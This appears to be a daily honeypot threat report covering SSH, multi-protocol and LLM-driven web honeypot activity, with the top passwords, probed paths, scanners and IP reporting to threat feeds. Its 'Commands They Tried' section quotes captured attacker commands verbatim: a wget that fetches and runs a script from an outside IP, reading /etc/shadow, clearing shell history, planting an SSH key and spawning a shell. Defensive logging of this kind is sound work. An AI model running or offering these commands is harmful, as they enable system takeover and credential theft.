Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 123456
- admin
- root
- password
- 12345
🌐 WEB HONEYPOT — Galah LLM
AI-generated fake HTTP responses served to 8 scanner requests from 3 unique IPs. Model: qwen2.5:0.5b (local, offline).
Top Paths Probed
- /wp-login.php
- /admin
- /.env
- /phpmyadmin/
- /cgi-bin/luci
Top User-Agents
- sqlmap/1.7.8
- Mozilla/5.0 (compatible; Googlebot/2.1)
- Masscan/1.3
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 14 IPs → AbuseIPDB (community confidence scores updated) → 14 IPs → AlienVault OTX (pulse indicators added) → 14 IPs → Blocklist.de (auto-ban list updated) → 14 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
iloveyou letmein admin1234 qwerty123 fuckyou opensesame password1 123456789 💻 Commands They Tried
busybox wget http://194.165.16.78/bot.sh -O /tmp/.x && chmod +x /tmp/.x && /tmp/.x cat /etc/shadow history -c chmod 777 /tmp/.x echo AAAA >> /root/.ssh/authorized_keys python3 -c import pty;pty.spawn(/bin/bash) These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Over the past 24 hours, the honeypot recorded intense activity. The majority of attackers relied on classic SSH brute-force, cycling through default credentials typically found on routers and IP cameras. Three IPs showed lateral movement patterns after gaining simulated login access, immediately running reconnaissance commands (uname -a, cat /etc/passwd) and attempting to download payloads from known C2 infrastructure via wget.
SSH Activity (Cowrie)
The SSH honeypot logged 1,243 connection attempts and 3,891 login tries from 198 unique IPs. After gaining simulated access, attackers executed 47 commands — the most common being system fingerprinting (uname -a, id, cat /proc/cpuinfo) followed by automated dropper scripts attempting to fetch and execute remote payloads.
Multi-Protocol Activity (OpenCanary)
723 events were detected across 134 unique IPs targeting emulated network services. The most attacked services were:
- MySQL — repeated access attempts using
rootwith no password, consistent with automated scanners exploiting misconfigured database servers. - Redis — exploitation attempts via
CONFIG SETto write attacker-controlled SSH public keys into/root/.ssh/authorized_keys, a well-documented Redis RCE vector.
14 IPs were automatically reported to AbuseIPDB, Blocklist.de, SANS DShield, and AlienVault OTX.
HTTP Web Honeypot (Galah LLM)
The web honeypot received 8 HTTP requests from real scanners across 3 unique IPs. This marks the first operational night of the Galah LLM honeypot, live since April 24, 2026. Each attacker received a dynamically generated fake response from the local AI model qwen2.5:0.5b running via Ollama — no internet connection required for inference.
Top probed paths: /wp-login.php, /admin, /.env, /phpmyadmin/, /cgi-bin/luci.